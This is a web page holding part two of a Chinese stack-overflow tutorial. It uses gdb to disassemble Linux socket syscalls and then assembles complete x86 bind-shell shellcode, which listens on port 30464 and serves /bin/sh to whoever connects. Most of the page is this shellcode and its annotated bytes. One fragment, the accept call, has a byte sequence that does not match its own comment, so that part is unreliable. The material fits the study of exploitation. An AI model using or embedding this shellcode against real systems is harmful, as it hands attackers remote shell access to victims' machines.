安全中国首页 > 文章中心 > 溢出文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

堆栈溢出技术从入门到高深(二)

更新时间:2007-12-17 0:15:10
责任编辑:池天
热 点:


看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用  

gdb来反编译上面的程序:  

[nkl10]$Content$nbsp;gcc -o opensocket -static opensocket.c  
[nkl10]$Content$nbsp;gdb opensocket  
GNU gdb 4.17  
Copyright 1998 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public License, and you  
are  
welcome to change it and/or distribute copies of it under certain  
conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB. Type "show warranty" for  
details.  
This GDB was configured as "i386-redhat-linux"...  
(gdb) disassemble fork  
Dump of assembler code for function fork:  
0x804ca90 <fork>: movl $0x2,%eax  
0x804ca95 <fork+5>: int $0x80  
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax  
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>  
0x804caa2 <fork+18>: ret  
0x804caa3 <fork+19>: nop  
0x804caa4 <fork+20>: nop  
0x804caa5 <fork+21>: nop  
0x804caa6 <fork+22>: nop  
0x804caa7 <fork+23>: nop  
0x804caa8 <fork+24>: nop  
0x804caa9 <fork+25>: nop  
0x804caaa <fork+26>: nop  
0x804caab <fork+27>: nop  
0x804caac <fork+28>: nop  
0x804caad <fork+29>: nop  
0x804caae <fork+30>: nop  
0x804caaf <fork+31>: nop  
End of assembler dump.  
(gdb) disassemble socket  
Dump of assembler code for function socket:  
0x804cda0 <socket>: movl %ebx,%edx  
0x804cda2 <socket+2>: movl $0x66,%eax  
0x804cda7 <socket+7>: movl $0x1,%ebx  
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx  
0x804cdb0 <socket+16>: int $0x80  
0x804cdb2 <socket+18>: movl %edx,%ebx  
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax  
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>  
0x804cdbd <socket+29>: ret  
0x804cdbe <socket+30>: nop  
0x804cdbf <socket+31>: nop  
End of assembler dump.  
(gdb) disassemble bind  
Dump of assembler code for function bind:  
0x804cd60 <bind>: movl %ebx,%edx  
0x804cd62 <bind+2>: movl $0x66,%eax  
0x804cd67 <bind+7>: movl $0x2,%ebx  
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx  
0x804cd70 <bind+16>: int $0x80  
0x804cd72 <bind+18>: movl %edx,%ebx  
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax  
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>  
0x804cd7d <bind+29>: ret  
0x804cd7e <bind+30>: nop  
0x804cd7f <bind+31>: nop  
End of assembler dump.  
(gdb) disassemble listen  
Dump of assembler code for function listen:  
0x804cd80 <listen>: movl %ebx,%edx  
0x804cd82 <listen+2>: movl $0x66,%eax  
0x804cd87 <listen+7>: movl $0x4,%ebx  
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx  
0x804cd90 <listen+16>: int $0x80  
0x804cd92 <listen+18>: movl %edx,%ebx  
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax  
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>  
0x804cd9d <listen+29>: ret  
0x804cd9e <listen+30>: nop  
0x804cd9f <listen+31>: nop  
End of assembler dump.  
(gdb) disassemble accept  
Dump of assembler code for function __accept:  
0x804cd40 <__accept>: movl %ebx,%edx  
0x804cd42 <__accept+2>: movl $0x66,%eax  
0x804cd47 <__accept+7>: movl $0x5,%ebx  
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx  
0x804cd50 <__accept+16>: int $0x80  
0x804cd52 <__accept+18>: movl %edx,%ebx  
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax  
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>  
0x804cd5d <__accept+29>: ret  
0x804cd5e <__accept+30>: nop  
0x804cd5f <__accept+31>: nop  
End of assembler dump.  
(gdb) disassemble dup2  
Dump of assembler code for function dup2:  
0x804cbe0 <dup2>: movl %ebx,%edx  
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx  
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx  
0x804cbea <dup2+10>: movl $0x3f,%eax  
0x804cbef <dup2+15>: int $0x80  
0x804cbf1 <dup2+17>: movl %edx,%ebx  
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax  
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>  
0x804cbfe <dup2+30>: ret  
0x804cbff <dup2+31>: nop  
End of assembler dump.  

现在可以写上面c代码的汇编语句了。  


fork()的汇编代码  
------------------------------------------------------------------------  
----  
char code[]=  
"\x31\xc0" /* xorl %eax,%eax */  
"\xb0\x02" /* movb $0x2,%al */  
"\xcd\x80" /* int $0x80 */  
------------------------------------------------------------------------  
----  

socket(2,1,6)的汇编代码  
注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6  
------------------------------------------------------------------------  
----  
/* socket使用66号系统调用,1号子调用。 */  
/* 他使用一段内存块来传递参数2,1,6。 */  
/* %ecx 里面为这个内存块的地址指针. */  
char code[]=  
"\x31\xc0" /* xorl %eax,%eax */  
"\x31\xdb" /* xorl %ebx,%ebx */  
"\x89\xf1" /* movl %esi,%ecx */  
"\xb0\x02" /* movb $0x2,%al */  
"\x89\x06" /* movl %eax,(%esi) */  
/* 第一个参数 */  
/* %esi 指向一段未使用的内存空间 */  
"\xb0\x01" /* movb $0x1,%al */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
/* 第二个参数 */  
"\xb0\x06" /* movb $0x6,%al */  
"\x89\x46\x08" /* movl %eax,0x8(%esi) */  
/* 第三个参数. */  
"\xb0\x66" /* movb $0x66,%al */  
"\xb3\x01" /* movb $0x1,%bl */  
"\xcd\x80" /* int $0x80 */  
------------------------------------------------------------------------  
----  

bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码  
------------------------------------------------------------------------  
----  
/* bind使用66号系统调用,2号子调用。 */  
/* 他使用一段内存块来传递参数。 */  
/* %ecx 里面为这个内存块的地址指针. */  
char code[]=  
"\x89\xf1" /* movl %esi,%ecx */  
"\x89\x06" /* movl %eax,(%esi) */  
/* %eax 的内容为刚才socket调用的返回值, */  
/* 就是soc文件描述符,作为第一个参数 */  
"\xb0\x02" /* movb $0x2,%al */  
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */  
/* serv_addr.sin_family=AF_NET(2) */  
/* 2 放在 0xc(%esi). */  
"\xb0\x77" /* movb $0x77,%al */  
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */  
/* 端口号(0x7700=30464)放在 0xe(%esi) */  
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */  
/* %eax = serv_addr 的地址 */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
/* 第二个参数. */  
"\x31\xc0" /* xorl %eax,%eax */  
"\x89\x46\x10" /* movl %eax,0x10(%esi) */  
/* serv_addr.sin_addr.s_addr=0 */  
"\xb0\x10" /* movb $0x10,%al */  
"\x89\x46\x08" /* movl %eax,0x8(%esi) */  
/* 第三个参数 . */  
"\xb0\x66" /* movb $0x66,%al */  
"\xb3\x02" /* movb $0x2,%bl */  
"\xcd\x80" /* int $0x80 */  
------------------------------------------------------------------------  
----  

listen(soc,1)的汇编代码  
------------------------------------------------------------------------  
----  
/* listen使用66号系统调用,4号子调用。 */  
/* 他使用一段内存块来传递参数。 */  
/* %ecx 里面为这个内存块的地址指针. */  
char code[]=  
"\x89\xf1" /* movl %esi,%ecx */  
"\x89\x06" /* movl %eax,(%esi) */  
/* %eax 的内容为刚才socket调用的返回值, */  
/* 就是soc文件描述符,作为第一个参数 */  
"\xb0\x01" /* movb $0x1,%al */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
/* 第二个参数. */  
"\xb0\x66" /* movb $0x66,%al */  
"\xb3\x04" /* movb $0x4,%bl */  
"\xcd\x80" /* int $0x80 */  
------------------------------------------------------------------------  
----  

accept(soc,0,0)的汇编代码  
------------------------------------------------------------------------  
----  
/* accept使用66号系统调用,5号子调用。 */  
/* 他使用一段内存块来传递参数。 */  
/* %ecx 里面为这个内存块的地址指针. */  
char code[]=  
"\x89\xf1" /* movl %esi,%ecx */  
"\x89\xf1" /* movl %eax,(%esi) */  
/* %eax 的内容为刚才socket调用的返回值, */  
/* 就是soc文件描述符,作为第一个参数 */  
"\x31\xc0" /* xorl %eax,%eax */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
/* 第二个参数. */  
"\x89\x46\x08" /* movl %eax,0x8(%esi) */  
/* 第三个参数. */  
"\xb0\x66" /* movb $0x66,%al */  
"\xb3\x05" /* movb $0x5,%bl */  
"\xcd\x80" /* int $0x80 */  
------------------------------------------------------------------------  
----  

dup2(cli,0)的汇编代码  
------------------------------------------------------------------------  
----  
/* 第一个参数为 %ebx, 第二个参数为 %ecx */  
char code[]=  
/* %eax 里面是刚才accept调用的返回值, */  
/* 客户的文件描述符cli . */  
"\x88\xc3" /* movb %al,%bl */  
"\xb0\x3f" /* movb $0x3f,%al */  
"\x31\xc9" /* xorl %ecx,%ecx */  
"\xcd\x80" /* int $0x80 */  
------------------------------------------------------------------------  
----  

现在该把这些所有的细节都串起来,形成一个新的shell的时候了。  

new shellcode  
------------------------------------------------------------------------  
----  
char shellcode[]=  
00 "\x31\xc0" /* xorl %eax,%eax */  
02 "\xb0\x02" /* movb $0x2,%al */  
04 "\xcd\x80" /* int $0x80 */  
06 "\x85\xc0" /* testl %eax,%eax */  
08 "\x75\x43" /* jne 0x43 */  
/* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */  
/* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */  
0a "\xeb\x43" /* jmp 0x43 */  
/* 当fork()==0 的时候,表明是子进程 */  
/* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */  

0c "\x5e" /* popl %esi */  
0d "\x31\xc0" /* xorl %eax,%eax */  
0f "\x31\xdb" /* xorl %ebx,%ebx */  
11 "\x89\xf1" /* movl %esi,%ecx */  
13 "\xb0\x02" /* movb $0x2,%al */  
15 "\x89\x06" /* movl %eax,(%esi) */  
17 "\xb0\x01" /* movb $0x1,%al */  
19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */  
1c "\xb0\x06" /* movb $0x6,%al */  
1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */  
21 "\xb0\x66" /* movb $0x66,%al */  
23 "\xb3\x01" /* movb $0x1,%bl */  
25 "\xcd\x80" /* int $0x80 */  
/* 执行socket(),eax里面为返回值soc文件描述符 */  

27 "\x89\x06" /* movl %eax,(%esi) */  
29 "\xb0\x02" /* movb $0x2,%al */  
2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */  
2f "\xb0\x77" /* movb $0x77,%al */  
31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */  
35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */  
38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */  
3b "\x31\xc0" /* xorl %eax,%eax */  
3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */  
40 "\xb0\x10" /* movb $0x10,%al */  
42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */  
45 "\xb0\x66" /* movb $0x66,%al */  
47 "\xb3\x02" /* movb $0x2,%bl */  
49 "\xcd\x80" /* int $0x80 */  
/* 执行bind() */  

4b "\xeb\x04" /* jmp 0x4 */  
/* 越过下面的两个跳转 */  

4d "\xeb\x55" /* jmp 0x55 */  
/* 跳到0x4f+0x55=0xa4 */  

4f "\xeb\x5b" /* jmp 0x5b */  
/* 跳到0x51+0x5b=0xac */  

51 "\xb0\x01" /* movb $0x1,%al */  
53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */  
56 "\xb0\x66" /* movb $0x66,%al */  
58 "\xb3\x04" /* movb $0x4,%bl */  
5a "\xcd\x80" /* int $0x80 */  
/* 执行listen() */  

5c "\x31\xc0" /* xorl %eax,%eax */  
5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */  
61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */  
64 "\xb0\x66" /* movb $0x66,%al */  
66 "\xb3\x05" /* movb $0x5,%bl */  
68 "\xcd\x80" /* int $0x80 */  
/* 执行accept(),eax里面为返回值cli文件描述符 */  

6a "\x88\xc3" /* movb %al,%bl */  
6c "\xb0\x3f" /* movb $0x3f,%al */  
6e "\x31\xc9" /* xorl %ecx,%ecx */  
70 "\xcd\x80" /* int $0x80 */  
72 "\xb0\x3f" /* movb $0x3f,%al */  
74 "\xb1\x01" /* movb $0x1,%cl */  
76 "\xcd\x80" /* int $0x80 */  
78 "\xb0\x3f" /* movb $0x3f,%al */  
7a "\xb1\x02" /* movb $0x2,%cl */  
7c "\xcd\x80" /* int $0x80 */  
/* 执行三个dup2() */  

7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */  
/* %eax="/bin" */  
83 "\x89\x06" /* movl %eax,(%esi) */  
85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */  
/* %eax="/sh/" */  
8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */  
8d "\x31\xc0" /* xorl %eax,%eax */  
8f "\x88\x46\x07" /* movb %al,0x7(%esi) */  
92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */  
95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */  
98 "\xb0\x0b" /* movb $0xb,%al */  
9a "\x89\xf3" /* movl %esi,%ebx */  
9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */  
9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */  
a2 "\xcd\x80" /* int $0x80 */  
/* 执行execve() */  
/* 运行/bin/sh() */  

a4 "\x31\xc0" /* xorl %eax,%eax */  
a6 "\xb0\x01" /* movb $0x1,%al */  
a8 "\x31\xdb" /* xorl %ebx,%ebx */  
aa "\xcd\x80" /* int $0x80 */  
/* 执行exit() */  

ac "\xe8\x5b\xff\xff\xff" /* call -0xa5 */  
/* 执行0x0c处的指令 */  

上一页 1 2 3 下一页

 
相关文章
一日一文章
 
一日一软件
一日一动画